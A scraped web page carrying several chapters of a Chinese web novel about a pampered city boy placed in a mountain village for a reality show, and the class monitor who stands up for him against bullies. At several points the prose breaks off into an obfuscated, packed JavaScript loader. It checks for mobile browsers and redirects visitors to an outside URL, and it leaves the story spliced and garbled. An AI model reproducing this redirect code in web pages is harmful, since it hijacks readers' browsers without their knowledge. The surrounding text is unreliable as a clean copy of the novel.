没等他俩反应过来,周越山便挤进他们中间,把祝婴宁挤到了一旁,粗壮的胳膊搭上许思睿的肩,一副哥俩好的姿态,没话找话道:“你来学校来得还真早哈?” 他动作快,许思睿想躲却没躲开,被他成功搭到了肩。 滑腻带汗的胳膊就这样贴上他脖颈处干爽洁净的肌肤,触感犹如泥鳅,还带着一股难以形容的恶臭。许思睿差点吐出来,一抖肩将周越山的臂膀甩开了,忍着怒火问:“你有病?” 周越山瞬间收起笑,面无表情地看着他,表情像鬼一样。 祝婴宁在一旁看得心脏一突,许思睿却毫无反应,冷淡地撇开他,头也不回便往前走。 祝婴宁赶紧绕开周越山,小跑几步跟上去,刚想对许思睿说周越山怪怪的,最近要小心他,就见许思睿洁白的T恤后——靠近肩膀的位置上,赫然多了一块黑乎乎的脏东西。 在村里生活多年,她很快认出那是一坨尚且湿润的牛粪。 她目瞪口呆,转身去找周越山,却见他已经快步跑走了,粗壮的身体灵活似泥鳅。 ……靠。 她难得产生一股骂人的冲动,又见许思睿无知无觉,皱着眉头就要往教学楼去,赶紧叫住他,把他拽到了教职工宿舍前。 许思睿不耐烦地就要甩开她,祝婴宁只好如实解释了情况。 “……你说什么?” 对待这种事一向事不关己的许思睿头一回露出了扭曲的表情。他额上爆出了几根青筋,脸色涨得血红,连眼眶都泛着红光。祝婴宁毫不怀疑周越山现在要是站在他们面前,许思睿能把他的头给拧下来。 她生怕出事,只好轻声提醒他:“那个……先去班主任那借套干净的衣服吧?” 到底还是洁癖占了上风,许思睿冷笑一声,朝周越山逃跑的方向冷冷扫视一眼,一言不发地跟在她身后往陈斌的宿舍去了。 听完祝婴宁的解释,陈斌顿时头疼不已:“这个周越山……” 他找出一件干净的衣服递给许思睿,不放心地交代:“我会去和他们的班主任反映问题,好好教育他一顿,你千万别自己主动去找事啊,尤其不能打架!知道了吗?” 许思睿闷着脸,没说好,也没说不好,迅速把脏衣服脱了,朝陈斌一伸手,讨要道:“酒精。” “要酒精做什么?你流血了?周越山还打你了?”陈斌马上紧张起来。 “没有,我要消毒。” “……哪有这种东西。” “酒也行。” 许思睿说完,自己先在陈斌宿舍里找了一圈,看到架子上放着一罐二锅头,二话不说就拎了起来。陈斌欸欸两声,赶忙上前制止:“不成不成!这瓶二锅头我藏了好久,自己都舍不得喝,怎么可以用来消毒!太草率了。” 许思睿鄙夷地啧了一声:“你还是不是人民教师了,为学生牺牲瓶二锅头怎么了?”说完不顾陈斌在一旁哭天抢地,自顾自把瓶盖打开,像淋浴一样,哗啦啦朝背后倒了半瓶。 陈斌差点就地昏死过去。 一番鸡飞狗跳后,许思睿总算穿着陈斌的衣服走了出来。 他嫌弃陈斌最开始挑的那件polo衫丑,自己选了一件没印花的黑t,搭上他原先穿的那条黑裤子,像个要□□的□□少爷一样。 祝婴宁等在外面,见他出来,本想招呼他走,结果嘴刚张开,就被他身上刺鼻的酒味熏得又闭上了。但是为了防止他一时上头去找周越山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此起彼伏的笑声如岩浆,倒灌入祝婴宁的脑海,她懵在原地,只觉得大脑连带身体都在发热燃烧,将这几天来的无能为力与着急烧成一场恣肆的山火。 垂眸去看许思睿,他显然也摔懵了,坐在地上,表情迷茫。 这到底是在干什么? 她困惑、失望、难过,但最大的感受还是愤怒。 同学间有矛盾很正常,可发展到这种程度一点都不正常。 愤怒熊熊燃烧,冲刷着她的脑门,她抬起手,自己都不知道自己想做什么,只听到了两声地震般的巨响,随后右手手掌一阵辣痛,低头一看,才发现是自己猛拍了桌面两下。 班上的笑声成功被这两声巨响唬停了,她心脏狂跳,整个人都在细细颤抖,却还是强装镇定,蜷了蜷手指,起身走上讲台,面无表情朝底下环顾了一圈,问:“谁干的?” 声音不大,但班上落针可闻,每个人都听得一清二楚。 有人和周围同学面面相觑,有人低下头,有人眼神乱瞟,有人置身事外,有人露出看热闹的神情,就是没人吱声。 她提高音量,又问了一遍:“谁干的?敢做不敢承认是吗?”这次语气里带了几分严厉的指责。 班里隐隐有些躁动,同学们看来看去,依然没人开口。 不知沉默了多久,才有一道声音从底下传出来,吊儿郎当的,听着特别吊:“怎么,班长,你要替他出气啊?” 祝婴宁凭声音锁定了底下的林凯生。他大剌剌坐在座位上,手臂伸长,搭在后座的桌子上,脸上满是挑衅与不服。 “是你干的?”她沉下声音问。 “是我干的又怎么样?”林凯生嬉皮笑脸道,“你心疼了?” 这句话说得暧昧不清,本来就是对情情爱爱敏感的年纪,闻言,班上男生立刻发出几声隐蔽窃笑。林凯生好像还嫌这样不过瘾似的,他举起右手,拢成喇叭状放在自己嘴边,大声质问她:“我说班长,你干嘛对这个新来的这么好,你喜欢他啊——?” 犹如水滴落入沸腾的油锅,滋啦一声,班上瞬间炸了。窃笑哄然发展成响亮的调笑,有人怪叫起哄,有人拍掌,有人使劲锤着桌子,口哨混在笑声里,尖刺如刀。 一片混乱里,只有祝婴宁面不改色站在原地,直到笑声慢慢变低了,她才平静地说:“你说得对,我当然喜欢他。” 这回答出乎所有人的意料,尤其是林凯生,在他的设想里,祝婴宁应该因为他这个问题羞窘不能自已,然后红着脸颊捂着眼睛哭着跑下讲台,再也不能盛气凌人搁那逼逼。没想到她不仅承认了,还承认得如此坦然,如此爽快,就像在承认自己喜欢吃苹果一样,理所当然到了极点,毫无寻常女孩面对此情此景该有的娇羞或恼恨之色。 班上其他人显然也被她这个不走寻常路的调调弄晕了,起哄声卡在喉咙里,每个人都像被施了定身术,呆若木鸡。 接着,更出乎所有人意料的一幕出现了。 祝婴宁举起仍在发热发烫的右手,笔直地指向林凯生,口齿清晰,一字一顿道:“我也喜欢你。” 22. 绿嘴唇 班上从安静陷入诡异的死寂,身为当事人之一的林凯生嘴巴张得像能塞进一个电灯泡。 这是他第一次被女生告白——这算告白吗?林凯生隐隐觉得这告白和普通告白不一样,但被一个女生当众说喜欢的冲击还是让他瞠目结舌,他设想中该出现在祝婴宁脸上的羞窘没有在她脸上发挥效用,反而转移到了他脸上,让他的脸颊像烧开的水一般滚烫。 没给大家太多反应的时间,祝婴宁又偏了偏手指,随便指向林凯生旁边一个起哄最厉害的男生,重复道:“还有你,我也喜欢你。” 一连指了好几个男生和女生,“喜欢”了十几个人,她才气喘吁吁停下来,换了口气,对林凯生说:“我知道你是什么意思,你想让我下不来台,你觉得我该为自己袒护许思睿而感到羞耻。” 她顿了顿,嘴角扬起一个笑容:“但是,我并不觉得喜欢是一件需要藏着掖着的事,我也不觉得喜欢是一件龌龊的事,我更不觉得喜欢仅仅只指男女之间的喜欢。喜欢父母是喜欢,喜欢老师是喜欢,喜欢同学当然也是喜欢,对,我喜欢许思睿,因为他是我们班级的一份子。” 初夏的早晨,阳光融融地洒进窗户,照亮了她右半张脸。 这场景远不如偶像剧里唯美,因为她嘴上的口疮没消,依然敷着草药。绿嘴唇让她看起来有些滑稽,可是却没有人笑。 她的声音沉缓却有力,平和地述说着:“我想大家一定都还记得,读书的机会对我们来说有难得。五年前,这所学校还没建立的时候,我们都只能去镇上那所学校念书,我还算幸运的,离得近,可也要走上二十多公里,还有很多人住得比我远,三十公里?四十公里?因为路程限制,很多人失去了读书的机会,直到陈老师、林校长和一批年轻的老师来到这里,把这所荒废的医院改造成教学楼。” 她说:“就是因为读书的机会如此来之不易,所以建校那天,陈老师才跟我们说,能成为同学是我们应该珍惜一辈子的缘分,我一直记着这句话。” “我知道很多人认为许思睿不算是我们班级的一份子,认为他不是‘同学’,只是一个外来的人,短暂地和我们待一阵子就走了。但是我觉得……” 她努力在脑海中搜刮着措辞,手指紧张地抠在一起又松开,真诚地说,“我觉得这也许是我们这辈子唯一一次有机会和一位来历这么特殊的同学组建成班级,这份缘分和我们之间的缘分一样来之不易。但凡中间有一点点差错,他都不会坐在这里,和我们一起早读、上课、考试。这是多么渺小的概率,宇宙经历了千百万次变化,才将我们送到同个教室里,共享同一片天空,所以……我很珍惜。” “像珍惜你们一样珍惜他。” 她说完,停顿了几秒,才不好意思地清咳几声,总结道:“这就是我想说的话。” 班上鸦雀无声,每个人脸上的表情都各有各的复杂。 尘埃落定以后,祝婴宁才迟钝地听到其他班级传出来的朗朗读书声。她刻板的教条又在此刻发挥作用,将她从剖白心迹的余韵里拽出来。在大家都还茫然的时候,她率先跑回座位,把自己的椅子推给许思睿,然后匆匆忙忙从书包里翻出本英语书,回到讲台,严肃地板起脸,摆出领读的架势:“请大家翻开英语课本第三单元的单词表。” 纵使早就习惯了班长一是一二是二的行事风格,大家还是有点反应不过来。 一开始只有几个人依言拿出课本,后来才慢慢有越来越多的人回神,翻开对应书页,相继开始早读。 低弱的读书声如渐渐拧紧的麻绳,从松散拧成响亮整齐的号角。 在一片整齐划一的读书声里,始终呆坐在地面上的许思睿如梦初醒,慢慢站了起来,坐到了祝婴宁暂借给他的椅子上。 他有一种说不出来的感受,心脏的位置像被人轻轻打了一拳,不疼,也谈不上瘙痒,就是有些窝心。 他被很多人喜欢过,也被很多人讨厌过。然而喜欢也好,讨厌也好,大家总习惯把这些情感藏着掖着,用一种委婉的方式展现出来。雾里看花,水中捞月,将自己外露的情感蒙上一层面纱,削减它带来的冲击,顺带构建一套完美的自我防御机制,一旦被拒绝了,被嘲笑了,便可立刻回防,抵御自己免受伤害。很少有人会当着众人的面直白地说喜欢或讨厌。 可祝婴宁和所有人都不一样。 她对自己的心坦坦荡荡。她说喜欢他——这份喜欢不同于他以往接受到的任何告白,是最真挚坦荡的同学爱。 当然,许思睿有理由相信,假使有一天她以女人的身份爱上了一个人,她也会大大方方将这份感情露出来,不以为羞,更不以为耻。 一个能将“像珍惜你们一样珍惜他”诉诸于口的人,她的感情世界里难道会存在阴霾? ** 早读结束,祝婴宁把英语书放回自己的课桌,风风火火去找陈斌要新椅子。 她离开以后,周天瑞握着拳头,一脸崇拜地感慨:“班长不愧是我的偶像。” 许思睿抖了抖身上的鸡皮疙瘩:“浮夸。” “你懂什么?”周天瑞瞪着他,“今天这番话但凡换个人来说,大家都会觉得他在装|逼,但班长就不会,你知道是为什么吗?” 他还真有些好奇,便露出洗耳恭听的姿态。 周天瑞得瑟地摇了摇手指,说:“当然是因为我们全班都被班长帮过,所以那些话由她说出来就特别诚恳。说出来你可能不信……”他压低声音,神神秘秘地凑到许思睿耳边,“林凯生也受过班长的恩惠,他妹妹就是班长亲自接生的。” “……?” 许思睿挠了挠耳朵,怀疑自己听力出了问题。这是中文吗?怎么每个字他都认识,连在一起他就听不懂了? “接生?”他呐呐重复这两个字,“生小孩那种接生?” “对啊。”周天瑞说,“是好几年前的事了,他妈妈生他妹的时候,他们村那个接生婆刚好不在,又赶上他妈难产,大出血,他们村里人怕出事担责,都不敢去帮忙,他借了辆牛车想把妈妈推去镇上,但他们村离镇上很远,就像班长说的,三十公里呢!真推到那说不定人都凉了。” “然后呢?”许思睿听得起劲,把身子也转了过来。 “然后推到半途,正好遇到我们班长,班长二话不说就让林凯生把他妈推去她家。她亲自给他妹妹接的生,简单给他妈处理了伤口,和他合力把他妈送镇上去了。” “祝婴宁妈妈就没说什么?祝婴宁那时候才几岁啊,不小心弄死人怎么办?” “哦,她妈啊,她妈妈没啥主意,她们家没男人的时候,她妈妈一向听她的。” “有男人呢?” “有儿子听儿子的,有老公听老公的呗。” “……” 许思睿想了想刘桂芳那副畏畏缩缩的样子,一时语塞。 过了一会,他才说:“不管怎么样,她胆子也太大了。” “可不呢,我们班长是我们这一片胆子最大的,我还真没发现她有怕的东西。你看那个女生,林森淼,她爷爷去年在山上被野猪袭击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许思睿看得牙酸,倒也不是心疼周越山挨打,而是担心女老师的生命安全,因为周越山的大臂看起来能有她的腰身粗,他要真想反抗,一胳膊就能把人抡飞到南极。好在他对老师还是抱持着敬畏之心的,被打了也没动,只是脸色不大好看,气呼呼盯紧许思睿,瓮声瓮气地说:“他也有错,凭什么只有我道歉?不就因为他是城里来的,你们全都偏心他么!” “我们偏心他?”女老师气得深吸一口气,拍着胸脯问,“那你说说,他错在哪了,他也像你一样,拿牛粪糊在同学身上了?!” 周越山大吼道:“他嫌我臭!” 这句话一出,大家又沉默了,连陈斌脸上也露出了为难的神色。因为许思睿嫌弃周越山确实是肉眼可见的事实。这件事说对么,肯定是不对的,切切实实伤害到了同学感情。可说他错了吧,又确实没有违反任何一条校规,毕竟没有哪条校规明确写着不可以在觉得同学身上臭时捂鼻子。 就在陈斌和女老师紧急头脑风暴,思考应该如何破局的时候,许思睿忽然在一旁不咸不淡插了句嘴:“你臭难道不是事实?” “……” 得,全玩完。 周越山闻言果然恼羞成怒,像被激怒的牛魔王,顶着一张黑中泛红的脸,磨牙切齿道:“你再说一遍?” 许思睿双手抱胸,懒洋洋笑道:“你随便上外面拉十个人,要是他们都觉得你不臭,我就给你道歉。” “你——!” 最后陈斌和女老师好说歹说,软硬兼施,才把这两尊易燃易爆的大佛安抚下来。至于道歉?当然没有任何人肯道歉。周越山口才不好,说不过许思睿,急怒攻心,气得脸红脖子粗。许思睿则云淡风轻,轻飘飘羞辱完对方就插着兜走了,连头也不带回的。 这件事最终不了了之。 23. 赶集 到了放学,祝婴宁担心许思睿去找周越山算账,提前拦住他,说:“我有个好消息要告诉你。” 距离许思睿上次听到好消息,已经不知道过去多久了。 这是他在山里度过的第三周。 据说习惯一样新事物需要21天,从前他并不相信,现在却已经慢慢习惯了山里的生活,习惯当地人日出而作日落而息的作息,习惯一口气爬上五六公里的山路,习惯推开家门入眼便是散步的鸡鸭鹅。 但习惯不代表喜欢。 对山里的生活,他始终有种游离感,既无法完全超脱,也无法切身融入。这种走也走不掉、融也融不进的疏离感常常带给他类似烟瘾发作的烦躁。 他实在难以相信这个地方还能带给他什么除了离开外的好消息,闻言面色淡淡的,直到祝婴宁告诉他,周末他们要去镇上一趟。 “镇上?” 许思睿努力在记忆里搜刮了一下,想起她之前似乎同他说过镇上有信号可以打电话。 像是看出他心里所想,她进一步解释道:“我要去镇上采买点生活用品,顺便和我弟弟通电话,杨叔说你也可以和你妈妈打电话,只要你想。” 幸福来得太突然,许思睿懵了。 ** 数着日子到了周日,当天早上,许思睿直接起了个透早,天还没亮就把祝婴宁和剧组的工作人员全都叫醒了。 大概是心情好的缘故,他看那辆破破烂烂的牛车也顺眼起来,知道去程和回程都得依赖这辆车,于是主动提出解决方法,问能不能在木板上铺条毯子。 祝婴宁对他的穷讲究很无语,刘桂芳却忙不迭说:“能,能,当然能!不过没有毯子,塑料袋成么?” “都可以,反正有个东西隔着就行。”许思睿表现得出奇地好说话。 刘桂芳捡了个洗干净晾干过的肥料袋过来,把袋子剪开了,仔仔细细铺在板车上。由于今天的拍摄任务基本都在白天进行,不需要打光,杨吉只派了两个摄影师跟着他们。祝婴宁驾车,其余三人坐在板车上,一同朝镇里出发。 许思睿对乡镇毫无概念,但他觉得镇里再怎么差,也不可能差过村里。现在只要是比村里条件好的地方,在他看来都是风水宝地。 牛车颠簸,一开始他带着兴味,尚觉得可以忍受,到了后面,兴味淡了,路途的艰辛就体现出来了。牛车到底比不过轿车的松软舒适,许思睿坐了一路,感觉腰椎都被颠得七零八落,身上没有一处地方不酸不疼。 身体的疲倦又反过来进一步冲淡了精神的亢奋,到达目的地的时候,他已经完全没了出门前的兴头,只想赶紧打完电话然后找个地方躺着。 和他的萎靡不振恰恰相反,祝婴宁精神抖擞,下了牛车依然健步如飞,丝毫没有被摧残过的痕迹。 她把牛车拴在镇口,从兜里摸出一张皱巴巴的十元钱,说要先买完东西再去打电话。 “……我们就不能先打完再去买吗,不然买完手里还要拎一堆东西。” 其实许思睿单纯只是想快点打上电话。三周过去,他的手机早就没电了,有信号也无济于事,现在全仰仗于祝婴宁带他去打座机。 祝婴宁摇摇头,坚决拒绝道:“不行,这里有个集市,去晚了好东西都被人挑光了,必须先去买东西。” “十块钱能买到什么好东西?”许思睿只想翻白眼。 “你别小瞧了十块钱。” 她挥挥手,招呼他跟上。 小镇不大,格局简单,就那么几条街几条路,跟着祝婴宁走了一圈,许思睿很快把镇上的构造摸清楚了。值得庆幸的是,这里的路总算不再是尘土飞扬的沙路,房子虽然高不到哪里去,大多都是两三层的民居,但也不再是祝家村那种破破烂烂的瓦片房,而是混凝土砌成的。 这难得的一点点现代气息简直要叫许思睿落泪。尤其是一路走来,他们经过一条美食街,街道两旁不仅有沙县小吃、兰州拉面、烧烤摊,居然还有一家装潢很新的大排档。 大排档—— 换成一个月前,许思睿绝对想不到一家大排档能带给他这么深刻的感触。在京城时,他压根瞧不上大排档这种档次的餐厅,觉得这是给小康以下的平民吃的,是属于穷人的聚餐。但此时此刻,这家大排档在他眼里堪比米其林三星餐厅,光是看着冰柜里五花八门的食材,他都觉得骨软身酥飘飘欲仙。 还没感慨完,就被祝婴宁残忍地拉走了。 她带头走去美食街后面的另一条街,那里正在赶集。 街上到处都是人,风尘仆仆的人,卖什么的都有,干货,水果,羊奶,衣服,布料…… 祝婴宁找到自己熟悉的摊主,要了糖、盐、番薯粉和面粉。 “这些在超市里也能买到吧。” 方才他们就路过了一家便民超市,许思睿刚想表达不理解,就听祝婴宁说:“这里的便宜,都是农民自己做的,没有中间商赚差价,超市里的要贵一倍呢。” ……好吧。 他看着她手里那张皱巴巴的十块几经转手,变成皱巴巴的一块、两块、五块,心想这种生活条件确实只能精打细算买最便宜的。 出乎他意料的是,这样买完一圈下来,祝婴宁手里居然还剩了三块。 她把买到的东西通通装进一个红色大塑料袋里,将提手拧成麻花状,就这样挎在肩上。许思睿有点嫌弃地问:“你打算背着这袋东西走一天?” “对啊。”她坦然点头,“不背着会被人偷。” ……好吧。 结束了采购,总算可以打电话了,许思睿跟在祝婴宁身后,看她七拐八拐,最后拐进了一家小发廊。发廊门口蹲着两个非主流黄毛,穿着印花T恤和紧身铅笔裤,瘦瘦小小的,正搁那抽烟。 祝婴宁走过去,问他们老板在不在:“我想借下电话。” 黄毛一号说:“哟,祝姐啊?他不在,不过他交代了,电话你可以随便借。” 祝婴宁道了声谢就进去了。 许思睿没想到打电话的方式如此淳朴,居然是要靠借的,还是靠祝婴宁本人出面借的。他还以为剧组有专门的座机。 不过还有一点让他有些纳闷,紧走两步,和祝婴宁并肩而行,问她:“为什么他们叫你姐?你面子挺大呀?” “他们开玩笑的。”她头也不回答道,“我只不过帮他们抓过一次小偷而已。” “……” 许思睿觉得下次就算听到祝婴宁打过老虎,他可能也不会吃惊了。 只是—— “这破地方有什么好偷的?” 这家发廊还没开始营业,里头没开灯。许思睿环顾一圈,入眼的不是剪刀就是洗发水,他实在难以想象哪来的小偷这么奇葩,连剪刀和洗发水都要偷。 祝婴宁笑了两声,说:“你别把人想太笨了,小偷可精着呢。你看那儿——” 她指着洗发台,“洗头的时候会提供肩颈按摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543196|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服务,戴着项链按摩不硌呀?所以很多戴项链的客人都会在这个环节把项链摘下来。那个小偷在附近蹲了好几天,总算蹲到个戴金链子的客人。趁着理发师离开找洗发水的功夫,他假装成理发店学徒混进去,对客人说‘客人,你的项链放在这不安全,我给你找个盒子装起来吧’,然后就把项链顺走了,直到理发师回来,客人问理发师‘你们那个学徒怎么找个盒子找了那么久’,大家才发现不对。” 许思睿惊呆了。 这算什么?劳动人民的智慧? 柜台后就有台座机,祝婴宁放下肩上的袋子,松了松筋骨,问许思睿:“你先打还是我先打?” 到了这个地步,许思睿莫名有些近乡情怯,想起上次打电话和许正康闹得不欢而散的事,他朝后让了让,抿了抿唇角,说:“你先打吧。” 祝婴宁便按了串号码过去。 许思睿还以为她会拨通他们家的座机——毕竟,她弟弟不就住在他家么?谁知祝婴宁按的是一串手机号码。趁她听铃声的功夫,他没忍住,低声询问:“你弟弟有手机?” 穷到好不容易出门采买一次都只带十块钱,听到羽绒服值三百块都吓得面如土色,居然有钱给祝吉祥买手机? “啊?对。”她握着话筒,朝他点了点头,“我妈怕我弟没手机,去城里被人瞧不起,花五十块钱从亲戚那收了支二手的小灵通给他。” 许思睿便沉默了。 他想说小灵通都快被市场淘汰了,只有土包子才会用,用小灵通并不能为她弟弟“涨身价”,反而会暴露他见识低,但不知为何却说不出口。按照祝婴宁一个月来镇里采买一次的频率来看,五十块应该是他们全家半年的生活费了吧?花半年生活费买一个自以为“不会被嘲笑”却早已过时的城里玩意儿,只为了不被人瞧不起,这个事实让他有些难受。 电话接通,由于挨得近,许思睿听到话筒里传来了怯怯的一声:“喂?” “喂?祥弟,是我!”祝婴宁激动地飙了句方言出来。 “阿姐?” “是呀是呀,是我,我今天来镇上,阿妈让我顺带打个电话给你。” 说了几句方言,祝婴宁才意识到许思睿也站在旁边,为免他觉得听不懂被排挤,也为了他能顺带了解家里的近况,她切换成普通话,问:“你在那边过得好吗?适应得了吗?叔叔阿姨对你很好吧?有没有给他们添麻烦呢?” 祝吉祥没有祝婴宁那么健谈,声音也很小,听着就给人一种内向的感觉。许思睿听到他在那边嗫嚅了半天,才说:“他们对我很好。” 然后就安静了。 “你别光说这一句呀。”祝婴宁催他,“怎么个好法,说详细点,让我和阿妈也了解一下。” 被祝婴宁这么一催,祝吉祥才挤牙膏似的,磕磕绊绊说道:“就是……这里吃的很好,每天都有肉吃。有个保姆专门做饭,想吃什么都可以告诉她,她什么都会做,跟餐厅点菜似的。还有……还有很多肯德基麦当劳。我来这三周,叔叔阿姨带我吃过四次肯德基了,我来这以后才知道,原来肯德基的英文名叫KFC。还有,这里住得也好……这家人原先的小孩,是叫许思睿吗?他的房间很大,我没见过这么大的房间,床也很舒服,是席梦思床垫……” 听到前面吃的东西,许思睿还没什么特别的感受,直到祝吉祥说他的床很舒服,他才像被踩着尾巴的猫一样,大叫一声,不可置信道:“我操,他还睡我床了!?” 24. 风起云涌 “喂喂,你小声点,别吓着我弟弟。”祝婴宁赶紧捂住话筒的收音孔,劝慰道,“你不也睡了他的床吗?” “那能一样吗?!我睡他的床是在受苦,他睡我的床是在享福!” 眼见这人就要跳脚,祝婴宁只好顺毛安抚道:“好好好,你在受苦,你在受苦……那个……能不能等我打完电话再来讨论这个问题?这毕竟是别人家的电话。” 许三岁鼻子不是鼻子眼睛不是眼睛地哼了一声。 祝婴宁这才松开捂着收音孔的手,主动转移话题:“祥弟,你说说别的事吧,除了吃和住的事……比如,叔叔和阿姨怎么样?” 她主动引导为这个话题,本意是想让许思睿了解自己爸爸妈妈的近况,以解思亲之苦,结果祝吉祥在那头越说,许思睿的表情越不对劲。 因为祝吉祥说: “叔叔阿姨也对我很好,像对他们的亲儿子一样。” “我来到这以后,水土不服,发烧了两天,阿姨一直守在我床边,无微不至地照顾我……” “叔叔还带我去他的公司参观,说只要我好好读书,考个好大学,以后就招我去他们公司上班。” “每天吃完晚饭我们一家三口都会去公园散步,偶尔打打乒乓球,叔叔的乒乓球打得可好了。” “阿姨还给我讲睡前故事,她说许思睿小时候就爱听她讲睡前故事,后来长大了,嫌这样幼稚,限制了他的自由,死活不愿意再听,阿姨说她想讲都没处讲,还好我来了。” …… 诸如此类。 许思睿越听越觉得胃里像吞了一斤柠檬,又酸又拧巴。 他基本上是一个只考虑自己的人,来到山里以后,想的也都是自己在山里的悲惨遭遇,甚少想起远在京城的家人,更不要说祝吉祥了。在今天过来镇上打电话之前,他完全忘了还有这么一号人物,听人提起后,也对此人的存在缺乏实感。 直到此时此刻,听着对方讲述自己的境遇,他才对这档综艺的定位有了清晰认知。 交换人生。 交换交换,重点就在交换两个字上。 在他受苦受累的时候,有人占用了他本该享有的惬意人生,吃他的饭,睡他的床,甚至霸占了他的父母,和他的父母演起过家家,自称为“一家三口”。 操。 他的心情犹如过山车般跌宕起伏,从一开始得知自己的床被占用的暴怒,到后来的嫉妒不爽,再到后来—— 暴怒退去,嫉妒退去,不爽退去,浓烈的情感体验逐渐归于平淡,只剩下一股酸了吧唧的低落。 尽管知道这只是综艺的噱头,也知道他们的人生不会如此简单就被置换,相较于他,同他素未谋面的祝吉祥更像这场综艺的牺牲品。体验过城市的繁华以后,他究竟是会为追逐繁华发奋图强,还是就此于灯红酒绿中迷失自己?没有人会为这个结果负责或托底。 城市有可能成为他向上跃迁的跳板,也可能成为诱使他堕落的万丈深渊。 向上还是向下? 祝吉祥面临的选择更为艰难。 而他——说到底,深山生活只是他人生中微不足道的一个点,只要回归京城,他的人生很快会回归正轨,按部就班行走下去。他依然拥有能够为他兜底的家庭,拥有富足的生活,拥有崇拜他的同学。这场综艺不会在他的生命里留下任何痕迹。 他们的人生起点不同,终点也不同。好比直线短暂相交,最终只会越行越远。 但理智上知道是一回事,情感上能否接受又是另外一回事。 许思睿必须承认,他很小气,他接受不了。 听到最后,他连臼齿都在泛酸,浑身使不上劲,心里觉得一切都没劲透了,连翘首以盼的回家也变得没意思起来。 祝婴宁看出了他的不对,赶紧打断祝吉祥的话,干巴巴寒暄几句,嘱托了“你要好好吃饭好好学习”之类的话,便把电话挂了,握着话筒,朝身后的许思睿讪笑:“……我打完了,你要过来打吗?” 他盯着她手里的话筒发呆,直到她伸手在他眼前挥了挥,才恍然回过神,看了她一眼,将嘴唇抿成一条线,说:“我不打了。”说完扭头就走。 这句“我不打了”说得并不赌气,反而很是平静。但就是这样,祝婴宁心里越是充满不好的预感,她挂断电话,小跑着追过去,张口想要安慰他,他却迈大步伐,迅速将她甩在了身后。 为了不被彻底甩开,祝婴宁只好闭上嘴,将全身力气都用在跟紧他的脚步上。 许思睿见她和摄影师都牢牢跟在自己身后,摄影师甚至还作势要把镜头怼到他面前来拍他的表情,干脆咬咬牙,直接跑了起来。 拜那段五公里的上学路所赐,许思睿的跑步速度和体能都有了质的提升,用尽全力跑起来以后,他才后知后觉摄影师已经跑不过自己了,几个眨眼间,那两个摄影师都被他远远甩到了后头。 “许思睿!许思睿——” 他们大喊着他的名字试图阻止他。 许思睿才不管这些,他撒开蹄子,用尽全力奔跑。 风呼啦啦打在他脸上,将他的眼睛吹得睁都睁不开,他却感到了久违的畅快,郁闷的情绪似乎也被风呼啸席卷着一扫而空。 跑过了三条街,他才稍微放缓速度,想找个地方歇歇脚,谁知一扭头,祝婴宁的脸赫然出现在他身后。她盯着他,关心地问:“许思睿,你要跑去哪?” “我操……” 许思睿受到了不小的惊吓,下意识又跑了起来。 他一跑,祝婴宁也下意识追了上去。 她始终落后他两三步的距离跟着,不管他跑得是快是慢,这段距离都恒定不变。许思睿用余光瞥见,简直要吐血了。他故意先放慢速度,想等祝婴宁放松警惕后再猛然一个加速甩开她——就像打篮球的假动作一样。但很显然,她也深谙假动作之道,随时准备着加速,一见他往前窜,她就会提速追上去。 许思睿绕着小镇外沿跑了一圈,祝婴宁始终阴魂不散跟在他身后。 到最后他实在跑不动了,随便找了个地方停下来,扶着膝盖大口大口喘气,好半天才勉强从牙缝里挤出一句话:“你他妈老是跟着我干嘛?” 她也有点喘,但没他这么严重,跑步反而让她的脸色看起来更有气血了。她掐着腰,摇头说:“不知道啊,我看你跑我就追了。” “……” “你心情不好吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543197|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许思睿不想说话。停下跑步以后,那些郁闷啊低落啊通通又回来了,他缓了一会,觉得差不多能呼吸了,于是又继续往前走,漫无目的地走。 结果祝婴宁仍在他身后固执地问:“你心情不好吗?” 他心里陡然升上来一股烦躁,烦得恨不得像人猿泰山一样撕开衣服朝天大吼几声才好。可他又不能这么做,只好泄愤般狠狠踹了脚旁边的自行车,把那一排自行车踹得像多米诺骨牌般哗啦啦倒下去,随后转身用手指着她的鼻子:“知道我心情不好就别来烦我,滚!” 许思睿脾气不好,他自己知道。 他也知道这个世界上根本没人受得了他真实的脾气,瞧,他爸他妈不也因为受不了,才把他打包塞到这来了么? 他做好了祝婴宁像他爸他妈或者学校老师一样,气得满脸愤怒亦或失望,然后转身离去的准备,但面对他歇斯底里的吼叫,她却连睫毛都没有动一动,依然是那副表情,那副姿态。她平和地注视着他,过了许久,才从裤兜里摸出皱巴巴的三块钱,攥在手心里,慢慢摊开在他面前,朝他扬起一个浅浅的笑。 她说:“许思睿,我们拿这钱去上网吧。” 有风拂过。 